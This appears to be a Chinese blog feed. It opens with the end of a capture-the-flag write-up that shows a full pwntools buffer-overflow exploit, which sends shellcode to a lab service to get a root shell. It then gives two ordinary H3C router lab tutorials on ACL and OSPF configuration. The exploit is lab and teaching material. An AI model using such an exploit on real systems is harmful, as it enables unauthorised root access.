<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902132206.DirUyRUd_Z2mTg3I.webp" /></p><p>report()函数的完整反编译代码如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>char</span><span> </span><span>*</span><span>report</span><span>()</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>char</span><span> </span><span>s</span><span>[</span><span>152</span><span>];</span><span> // [esp+4h] [ebp-A4h] BYREF</span></div></div><div><div><div>4</div></div><div><span>  </span><span>char</span><span> </span><span>*</span><span>v2;</span><span> // [esp+9Ch] [ebp-Ch]</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>  </span><span>printf</span><span>(</span><span>"</span><span>\n</span><span>Enter report update: "</span><span>);</span></div></div><div><div><div>7</div></div><div><span>  </span><span>gets</span><span>(s);</span></div></div><div><div><div>8</div></div><div><span>  </span><span>printf</span><span>(</span><span>"Report: </span><span>%s</span><span>\n</span><span>"</span><span>, s);</span></div></div><div><div><div>9</div></div><div><span>  </span><span>puts</span><span>(</span><span>"Submitted for review."</span><span>);</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>v2 </span><span>=</span><span> s;</span></div></div><div><div><div>11</div></div><div><span>  </span><span>return</span><span> s;</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>计算栈溢出偏移（也就是计算数组s相对返回地址的长度）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>s在ebp-0xA4，返回地址在ebp+4，所以溢出偏移=0xA4+4=168</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902210724.BzIfuQAs_ZuFPml.webp" />
找到栈偏移之后，我们需要将 return 地址修改为 shellcode 地址，这里可以使用 ROPgadget 寻找包含 call eax 的代码段。</p><blockquote><p><strong>eax</strong> 俗名累加器,用于保存<strong>函数返回值</strong>、存计算结果、频繁被用来临时放地址</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ROPgadget --binary agent | grep "call eax"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260902164602.BCiqP_mf_O66u0.webp" />
我们使用<code>0x8048563</code>这个地址的call eax，所以返回地址也就覆盖为<code>0x8048563</code>。</p><p>编写 Python exploit 脚本，连接靶机 7788 端口发送恶意 payload。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#coding=utf-8</span></div></div><div><div><div>2</div></div><div><span>from</span><span> pwn </span><span>import</span><span><span> </span><span>*</span></span></div></div><div><div><div>3</div></div><div><span><span>io </span><span>=</span><span> </span><span>remote</span><span>(</span></span><span>"192.168.197.176"</span><span>, </span><span>7788</span><span>)</span></div></div><div><div><div>4</div></div><div><span><span>shellcode </span><span>=</span><span> </span><span>asm</span><span>(shellcraft.</span><span>sh</span><span>())</span></span></div></div><div><div><div>5</div></div><div><span><span>shell_addr </span><span>=</span><span> </span></span><span>0x</span><span>8048563</span></div></div><div><div><div>6</div></div><div><span><span>io.</span><span>recvuntil</span><span>(</span></span><span>b</span><span>"Agent ID : "</span><span>)</span></div></div><div><div><div>7</div></div><div><span><span>io.</span><span>send</span><span>(</span></span><span>b</span><span>"48093572</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>8</div></div><div><span><span>io.</span><span>recvuntil</span><span>(</span></span><span>b</span><span>"Enter selection: "</span><span>)</span></div></div><div><div><div>9</div></div><div><span><span>io.</span><span>send</span><span>(</span></span><span>b</span><span>"3</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>10</div></div><div><span><span>io.</span><span>recv</span><span>()</span></span></div></div><div><div><div>11</div></div><div><span><span>io.</span><span>sendline</span><span>(shellcode </span><span>+</span><span> </span></span><span>b</span><span>"A"</span><span><span> </span><span>*</span><span> (</span></span><span>168</span><span><span> </span><span>-</span><span> </span></span><span>len</span><span><span>(shellcode)) </span><span>+</span><span> </span><span>p32</span><span>(shell_addr))</span></span></div></div><div><div><div>12</div></div><div><span><span>io.</span><span>interactive</span><span>()</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>成功执行后获得 root 权限的反弹 Shell。</p><blockquote><p><strong>注意：</strong> exploit 只负责”在 agent 进程里注入代码、弹出一个 shell”；能不能是 root，取决于 agent 进程是不是 root 跑的。 这个靶场 agent 恰好以 root 运行，所以注入 shell 后直接就是 root，所以是”服务本来就以 root 跑”给了我们提权，不是溢出代码本身有 root 魔法。</p></blockquote><p>获取 root 权限后，在 <code>/root</code> 目录下找到最终的 Flag6。
<img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260902152839.uZvv_Sea_1bfuPz.webp" />
解码后得到<code>flag6{Gh0stProt0c0ls}</code>。</p><p><strong>作者留下的小彩蛋：</strong>
<img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020260902213847.C09f0BxJ_11isSF.webp" /></p></section></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/202691-acl-%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">ACL 实验</title>
      <published>2026-09-01T01:00:00.000Z</published>
      <updated>2026-09-01T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/202691-acl-%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">ACL 访问控制实验，通过配置基本 ACL 与高级 ACL，实现跨网段访问限制及基于 Telnet/FTP 服务的精细化权限控制。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1270" height="674" src="/_astro/Pasted%20image%2020260901165242.CrAOHfsc_Z29DFAb.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示配置 IP 地址</li>
<li>全网路由互通</li>
<li>在 SERVER1 上配置开启 TELNET 和 FTP 服务</li>
<li>配置 ACL 实现如下效果
<ol>
<li><code>192.168.1.0/24</code> 网段不允许访问 <code>192.168.2.0/24</code> 网段，要求使用基本 ACL 实现</li>
<li>PC1 可以访问 SERVER1 的 TELNET 服务，但不能访问 FTP 服务</li>
<li>PC2 可以访问 SERVER1 的 FTP 服务，但不能访问 TELNET 服务</li>
<li><code>192.168.2.0/24</code> 网段不允许访问 SERVER1，要求通过高级 ACL 实现</li>
</ol>
</li>
</ol></section>
<section><h3>实验解法<a href="#实验解法"><span>#</span></a></h3><section><h4>1.配置 IP 地址/静态路由<a href="#1配置-ip-地址静态路由"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># PC1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>int g0/0</span></div></div><div><div><div>3</div></div><div><span>ip add 192.168.1.1 24</span></div></div><div><div><div>4</div></div><div><span>ip route-static 0.0.0.0 0 192.168.1.254</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># PC2的配置如下：</span></div></div><div><div><div>7</div></div><div><span>int g0/0</span></div></div><div><div><div>8</div></div><div><span>ip add 192.168.1.2 24</span></div></div><div><div><div>9</div></div><div><span>ip route-static 0.0.0.0 0 192.168.1.254</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span># R1的配置如下：</span></div></div><div><div><div>12</div></div><div><span>int g0/0</span></div></div><div><div><div>13</div></div><div><span>ip add 100.1.1.1 24</span></div></div><div><div><div>14</div></div><div><span>int g0/1</span></div></div><div><div><div>15</div></div><div><span>ip add 192.168.1.254 24</span></div></div><div><div><div>16</div></div><div><span>ip route-static 0.0.0.0 0 100.1.1.2</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span># R2的配置如下：</span></div></div><div><div><div>19</div></div><div><span>int g0/0</span></div></div><div><div><div>20</div></div><div><span>ip add 100.1.1.2 24</span></div></div><div><div><div>21</div></div><div><span>int g0/1</span></div></div><div><div><div>22</div></div><div><span>ip add 100.2.2.2 24</span></div></div><div><div><div>23</div></div><div><span>int g0/2</span></div></div><div><div><div>24</div></div><div><span>ip add 192.168.2.2 24</span></div></div><div><div><div>25</div></div><div><span>ip route-static 192.168.1.0 24 100.1.1.1</span></div></div><div><div><div>26</div></div><div><span>ip route-static 192.168.3.0 24 100.2.2.3</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span># R3的配置如下：</span></div></div><div><div><div>29</div></div><div><span>int g0/0</span></div></div><div><div><div>30</div></div><div><span>ip add 100.2.2.3 24</span></div></div><div><div><div>31</div></div><div><span>int g0/1</span></div></div><div><div><div>32</div></div><div><span>ip add 192.168.3.3 24</span></div></div><div><div><div>33</div></div><div><span>ip route-static 0.0.0.0 0 100.2.2.2</span></div></div><div><div><div>34</div></div><div>
</div></div><div><div><div>35</div></div><div><span># SERVER1的配置如下：</span></div></div><div><div><div>36</div></div><div><span>int g0/0</span></div></div><div><div><div>37</div></div><div><span>ip add 192.168.3.1 24</span></div></div><div><div><div>38</div></div><div><span>ip route-static 0.0.0.0 0 192.168.3.3</span></div></div><div><div><div>39</div></div><div>
</div></div><div><div><div>40</div></div><div><span># PC3配置IP为192.168.2.3</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>2.在 SERVER1 上配置开启 TELNET 和 FTP 服务<a href="#2在-server1-上配置开启-telnet-和-ftp-服务"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># SERVER1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>telnet server enable</span></div></div><div><div><div>3</div></div><div><span>ftp server enable</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>3.配置 ACL 部分<a href="#3配置-acl-部分"><span>#</span></a></h4><p><strong>分析：</strong></p><ol>
<li>需求 i，要求 192.168.1.0/24 网段不允许访问 192.168.2.0/24 网段，只能使用基本 ACL 实现。基本 ACL 只过滤源 IP 地址，只能在 R2 的 g0/2 接口上配置出方向包过滤来实现。如果配置在两个网段沿途的其他位置，将会影响到 192.168.1.0/24 网段和其他网段的正常通讯</li>
<li>需求 ii，PC1 可以访问 SERVER1 的 TELNET 服务，但不能访问 FTP 服务。既然要过滤指定的服务，就只能使用高级 ACL，高级 ACL 不会造成误过滤，所以可以配置在离源地址最近的接口的入方向，也就是 R1 的 g0/1 接口的入方向。另外，由于 H3C 的 ACL 用于包过滤默认动作是允许，所以并不需要专门配置允许 PC1 访问 SERVER1 的 TELNET，只需要配置拒绝访问 FTP 的规则即可</li>
<li>需求 iii，PC2 可以访问 SERVER1 的 FTP 服务，但不能访问 TELNET 服务。同理，只能使用高级 ACL，配置在 R1 的 g0/1 接口的入方向。而且也只需要配置拒绝访问 TELNET 的规则即可（由于需求iii和需求ii配置在同一个路由器同一个接口的同方向，所以把规则写入到同一个 ACL 即可）</li>
<li>需求 iv：192.168.2.0/24 网段不允许访问 SERVER1，要求通过高级 ACL 实现。高级 ACL 不会造成误过滤，所以可以配置在离源地址最近的接口的入方向，也就是 R2 的 g0/2 接口的入方向。另外，没有明确说明不允许访问什么服务，就是所有都不允许访问，所以高级 ACL 中的协议需要指定为 IP 协议
　　</li>
</ol><section><h5>步骤 1：创建基本 ACL，使 192.168.1.0/24 网段不能访问 192.168.2.0/24 网段，并在 R2 的 g0/2 接口的出方向配置包过滤<a href="#步骤-1创建基本-acl使-1921681024-网段不能访问-1921682024-网段并在-r2-的-g02-接口的出方向配置包过滤"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#路由器R2的配置如下：</span></div></div><div><div><div>2</div></div><div><span>acl basic 2000</span></div></div><div><div><div>3</div></div><div><span>rule deny source 192.168.1.0 0.0.0.255</span></div></div><div><div><div>4</div></div><div><span>interface g0/2</span></div></div><div><div><div>5</div></div><div><span>packet-filter 2000 outbound</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 2：创建高级 ACL，使 PC1 可以访问 SERVER1 的 TELNET 服务，但不能访问 FTP 服务；PC2 可以访问 SERVER1 的 FTP 服务，但不能访问 TELNET 服务，并在 R1 的 g0/1 接口的入方向配置包过滤<a href="#步骤-2创建高级-acl使-pc1-可以访问-server1-的-telnet-服务但不能访问-ftp-服务pc2-可以访问-server1-的-ftp-服务但不能访问-telnet-服务并在-r1-的-g01-接口的入方向配置包过滤"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#路由器R1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>acl advanced 3000</span></div></div><div><div><div>3</div></div><div><span>rule deny tcp source 192.168.1.1 0 destination 192.168.3.1 0 destination-port range 20 21</span></div></div><div><div><div>4</div></div><div><span>rule deny tcp source 192.168.1.2 0 destination 192.168.3.1 0 destination-port eq 23</span></div></div><div><div><div>5</div></div><div><span>interface g0/1</span></div></div><div><div><div>6</div></div><div><span>packet-filter 3000 inbound</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 3：创建高级 ACL，使PC3 不能访问 SERVER1，并在 R2 的 g0/2 接口的入方向配置包过滤<a href="#步骤-3创建高级-acl使pc3-不能访问-server1并在-r2-的-g02-接口的入方向配置包过滤"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#路由器R2的配置如下：</span></div></div><div><div><div>2</div></div><div><span>acl advanced 3000</span></div></div><div><div><div>3</div></div><div><span>rule deny ip source 192.168.2.0 0.0.0.255 destination 192.168.3.1 0</span></div></div><div><div><div>4</div></div><div><span>interface g0/2</span></div></div><div><div><div>5</div></div><div><span>packet-filter 3000 inbound</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h4>4.效果测试<a href="#4效果测试"><span>#</span></a></h4><section><h5>步骤 1：PC1 和 PC2 都无法 Ping 通 PC3<a href="#步骤-1pc1-和-pc2-都无法-ping-通-pc3"><span>#</span></a></h5><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[PC1]ping 192.168.2.3</span></div></div><div><div><div>2</div></div><div><span>Ping 192.168.2.3 (192.168.2.3): 56 data bytes, press CTRL+C to break</span></div></div><div><div><div>3</div></div><div><span>Request time out</span></div></div><div><div><div>4</div></div><div><span>Request time out</span></div></div><div><div><div>5</div></div><div><span>Request time out</span></div></div><div><div><div>6</div></div><div><span>Request time out</span></div></div><div><div><div>7</div></div><div><span>Request time out</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>--- Ping statistics for 192.168.2.3 ---</span></div></div><div><div><div>10</div></div><div><span>5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss</span></div></div><div><div><div>11</div></div><div><span>[PC1]%Sep  2 11:08:33:447 2026 PC1 PING/6/PING_STATISTICS: Ping statistics for 192.168.2.3: 5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss.</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>[PC2]ping 192.168.2.3</span></div></div><div><div><div>16</div></div><div><span>Ping 192.168.2.3 (192.168.2.3): 56 data bytes, press CTRL+C to break</span></div></div><div><div><div>17</div></div><div><span>Request time out</span></div></div><div><div><div>18</div></div><div><span>Request time out</span></div></div><div><div><div>19</div></div><div><span>Request time out</span></div></div><div><div><div>20</div></div><div><span>Request time out</span></div></div><div><div><div>21</div></div><div><span>Request time out</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>--- Ping statistics for 192.168.2.3 ---</span></div></div><div><div><div>24</div></div><div><span>5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss</span></div></div><div><div><div>25</div></div><div><span>%Sep  2 11:08:45:747 2026 PC2 PING/6/PING_STATISTICS: Ping statistics for 192.168.2.3: 5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss.</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h5>步骤 2：PC1 可以连接 SERVER1 的 TELNET，但不能连接 FTP<a href="#步骤-2pc1-可以连接-server1-的-telnet但不能连接-ftp"><span>#</span></a></h5><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;PC1&gt;telnet 192.168.3.1</span></div></div><div><div><div>2</div></div><div><span>Trying 192.168.3.1 ...</span></div></div><div><div><div>3</div></div><div><span>Press CTRL+K to abort</span></div></div><div><div><div>4</div></div><div><span>Connected to 192.168.3.1 ...</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>******************************************************************************</span></div></div><div><div><div>7</div></div><div><span>* Copyright (c) 2004-2021 New H3C Technologies Co., Ltd. All rights reserved.*</span></div></div><div><div><div>8</div></div><div><span>* Without the owner's prior written consent,                                 *</span></div></div><div><div><div>9</div></div><div><span>* no decompiling or reverse-engineering shall be allowed.                    *</span></div></div><div><div><div>10</div></div><div><span>******************************************************************************</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>Login failed.</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>The connection was closed by the remote host!</span></div></div><div><div><div>15</div></div><div><span>&lt;PC1&gt;ftp 192.168.3.1</span></div></div><div><div><div>16</div></div><div><span>Press CTRL+C to abort.</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>&lt;PC1&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h5>步骤 3：PC2 可以连接 SERVER1 的 FTP，但不能连接 TELNET<a href="#步骤-3pc2-可以连接-server1-的-ftp但不能连接-telnet"><span>#</span></a></h5><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;PC2&gt;telnet 192.168.3.1</span></div></div><div><div><div>2</div></div><div><span>Trying 192.168.3.1 ...</span></div></div><div><div><div>3</div></div><div><span>Press CTRL+K to abort</span></div></div><div><div><div>4</div></div><div><span>Connected to 192.168.3.1 ...</span></div></div><div><div><div>5</div></div><div><span>Failed to connect to the remote host!</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>&lt;PC2&gt;ftp 192.168.3.1</span></div></div><div><div><div>8</div></div><div><span>Press CTRL+C to abort.</span></div></div><div><div><div>9</div></div><div><span>Connected to 192.168.3.1 (192.168.3.1).</span></div></div><div><div><div>10</div></div><div><span>220 FTP service ready.</span></div></div><div><div><div>11</div></div><div><span>User (192.168.3.1:(none)):</span></div></div><div><div><div>12</div></div><div><span>530 This is a private system - No anonymous login</span></div></div><div><div><div>13</div></div><div><span>ftp: Login failed.</span></div></div><div><div><div>14</div></div><div><span>Remote system type is UNIX.</span></div></div><div><div><div>15</div></div><div><span>Using binary mode to transfer files.</span></div></div><div><div><div>16</div></div><div><span>ftp&gt; quit</span></div></div><div><div><div>17</div></div><div><span>221-Goodbye. You uploaded 0 and downloaded 0 kbytes.</span></div></div><div><div><div>18</div></div><div><span>221 Logout.</span></div></div><div><div><div>19</div></div><div><span>&lt;PC2&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h5>步骤 4：PC3 不能 Ping 通 SERVER1<a href="#步骤-4pc3-不能-ping-通-server1"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;H3C&gt;ping 192.168.3.1</span></div></div><div><div><div>2</div></div><div><span>Ping 192.168.3.1 (192.168.3.1): 56 data bytes, press CTRL_C to break</span></div></div><div><div><div>3</div></div><div><span>Request time out</span></div></div><div><div><div>4</div></div><div><span>Request time out</span></div></div><div><div><div>5</div></div><div><span>Request time out</span></div></div><div><div><div>6</div></div><div><span>Request time out</span></div></div><div><div><div>7</div></div><div><span>Request time out</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>--- Ping statistics for 192.168.3.1 ---</span></div></div><div><div><div>10</div></div><div><span>5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss</span></div></div><div><div><div>11</div></div><div><span>&lt;H3C&gt;%Sep  2 11:12:10:943 2026 H3C PING/6/PING_STATISTICS: Ping statistics for 192.168.3.1: 5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss.</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268282ospf-%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">OSPF 实验</title>
      <published>2026-08-28T01:01:00.000Z</published>
      <updated>2026-08-28T01:01:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268282ospf-%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">多区域 OSPF 动态路由实验，涵盖区域划分、Router-id 手动指定、ABR 环回口宣告等配置，并验证全网路由互通。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1206" height="603" src="/_astro/QQ_1787902322050.DKVYufNm_1li6hv.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示配置 IP 地址</li>
<li>按照图示分区域配置 OSPF ，实现全网互通</li>
<li>为了路由结构稳定，要求路由器使用环回口作为 Router-id，ABR 的环回口宣告进骨干区域</li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1.配置 IP 地址<a href="#1配置-ip-地址"><span>#</span></a></h4><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>interface loopback 0</span></div></div><div><div><div>3</div></div><div><span>ip add 1.1.1.1 32</span></div></div><div><div><div>4</div></div><div><span>int g0/0</span></div></div><div><div><div>5</div></div><div><span>ip add 100.1.1.1 24</span></div></div><div><div><div>6</div></div><div><span>int g0/1</span></div></div><div><div><div>7</div></div><div><span>ip add 100.3.3.1 24</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>路由器2的配置如下：</span></div></div><div><div><div>10</div></div><div><span>interface loopback 0</span></div></div><div><div><div>11</div></div><div><span>ip add 2.2.2.2 32</span></div></div><div><div><div>12</div></div><div><span>int g0/0</span></div></div><div><div><div>13</div></div><div><span>ip add 100.1.1.2 24</span></div></div><div><div><div>14</div></div><div><span>int g0/1</span></div></div><div><div><div>15</div></div><div><span>ip add 100.2.2.2 24</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>路由器3的配置如下：</span></div></div><div><div><div>18</div></div><div><span>interface loopback 0</span></div></div><div><div><div>19</div></div><div><span>ip add 3.3.3.3 32</span></div></div><div><div><div>20</div></div><div><span>int g0/0</span></div></div><div><div><div>21</div></div><div><span>ip add 100.2.2.3 24</span></div></div><div><div><div>22</div></div><div><span>int g0/1</span></div></div><div><div><div>23</div></div><div><span>ip add 100.4.4.3 24</span></div></div><div><div><div>24</div></div><div>
</div></div><div><div><div>25</div></div><div><span>路由器4的配置如下：</span></div></div><div><div><div>26</div></div><div><span>interface loopback 0</span></div></div><div><div><div>27</div></div><div><span>ip add 4.4.4.4 32</span></div></div><div><div><div>28</div></div><div><span>int g0/0</span></div></div><div><div><div>29</div></div><div><span>ip add 100.3.3.4 24</span></div></div><div><div><div>30</div></div><div>
</div></div><div><div><div>31</div></div><div><span>路由器5的配置如下：</span></div></div><div><div><div>32</div></div><div><span>interface loopback 0</span></div></div><div><div><div>33</div></div><div><span>ip add 5.5.5.5 32</span></div></div><div><div><div>34</div></div><div><span>int g0/0</span></div></div><div><div><div>35</div></div><div><span>ip add 100.4.4.5 24</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>2.按照图示分区域配置 OSPF ，实现全网互通<a href="#2按照图示分区域配置-ospf-实现全网互通"><span>#</span></a></h4><p><strong>分析：</strong> 实现全网互通，意味着每台路由器都要宣告本地的所有直连网段，包括环回口所在的网段。要求 ABR 的环回口宣告进骨干区域，即区域 0，同时，每台路由器手动配置各自环回口的 IP 地址作为 Router-id。</p><p>在路由器上分别配置 OSPF，按区域宣告所有直连网段和环回口</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>路由器1的配置如下：</span></div></div><div><div><div>2</div></div><div><span>ospf 1 router-id 1.1.1.1</span></div></div><div><div><div>3</div></div><div><span>area 0</span></div></div><div><div><div>4</div></div><div><span>network 1.1.1.1 0.0.0.0</span></div></div><div><div><div>5</div></div><div><span>network 100.1.1.0 0.0.0.255</span></div></div><div><div><div>6</div></div><div><span>area 1</span></div></div><div><div><div>7</div></div><div><span>network 100.3.3.0 0.0.0.255</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>路由器2的配置如下：</span></div></div><div><div><div>10</div></div><div><span>ospf 1 router-id 2.2.2.2</span></div></div><div><div><div>11</div></div><div><span>area 0</span></div></div><div><div><div>12</div></div><div><span>network 2.2.2.2 0.0.0.0</span></div></div><div><div><div>13</div></div><div><span>network 100.1.1.0 0.0.0.255</span></div></div><div><div><div>14</div></div><div><span>network 100.2.2.0 0.0.0.255</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>路由器3的配置如下：</span></div></div><div><div><div>17</div></div><div><span>ospf 1 router-id 3.3.3.3</span></div></div><div><div><div>18</div></div><div><span>area 0</span></div></div><div><div><div>19</div></div><div><span>network 3.3.3.3 0.0.0.0</span></div></div><div><div><div>20</div></div><div><span>network 100.2.2.0 0.0.0.255</span></div></div><div><div><div>21</div></div><div><span>area 2</span></div></div><div><div><div>22</div></div><div><span>network 100.4.4.0 0.0.0.255</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>路由器4的配置如下：</span></div></div><div><div><div>25</div></div><div><span>ospf 1 router-id 4.4.4.4</span></div></div><div><div><div>26</div></div><div><span>area 1</span></div></div><div><div><div>27</div></div><div><span>network 4.4.4.4 0.0.0.0</span></div></div><div><div><div>28</div></div><div><span>network 100.3.3.0 0.0.0.255</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>路由器5的配置如下：</span></div></div><div><div><div>31</div></div><div><span>ospf 1 router-id 5.5.5.5</span></div></div><div><div><div>32</div></div><div><span>area 2</span></div></div><div><div><div>33</div></div><div><span>network 5.5.5.5 0.0.0.0</span></div></div><div><div><div>34</div></div><div><span>network 100.4.4.0 0.0.0.255</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>3.检查是否全网互通<a href="#3检查是否全网互通"><span>#</span></a></h4><p>分析：检查 OSPF 是否全网互通，一个是检查邻居关系表，看邻居关系是否正常；另一个是检查路由表，看是否学习到全网路由。</p><p>下面只展示 R1 的检查结果。</p><p>步骤 1：检查 R1 的邻居关系表</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[AR1]dis ospf peer</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span><span>         </span></span><span>OSPF Process 1 with Router ID 1.1.1.1</span></div></div><div><div><div>4</div></div><div><span><span>               </span></span><span>Neighbor Brief Information</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span><span> </span></span><span>Area: 0.0.0.0</span></div></div><div><div><div>7</div></div><div><span><span> </span></span><span>Router ID       Address         Pri Dead-Time  State             Interface</span></div></div><div><div><div>8</div></div><div><span><span> </span></span><span>2.2.2.2         100.1.1.2       1   34         Full/DR           GE0/0</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span><span> </span></span><span>Area: 0.0.0.1</span></div></div><div><div><div>11</div></div><div><span><span> </span></span><span>Router ID       Address         Pri Dead-Time  State             Interface</span></div></div><div><div><div>12</div></div><div><span><span> </span></span><span>4.4.4.4         100.3.3.4       1   38         Full/DR           GE0/1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>说明：可以看到，R1 分别和 R2 和 R4 建立了邻接关系，状态为 FULL，邻居关系正常。</p><p>步骤 2：检查 R1 的路由表</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[AR1]display ip routing-table</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>Destinations : 20       Routes : 20</span></div></div><div><div><div>4</div></div><div>
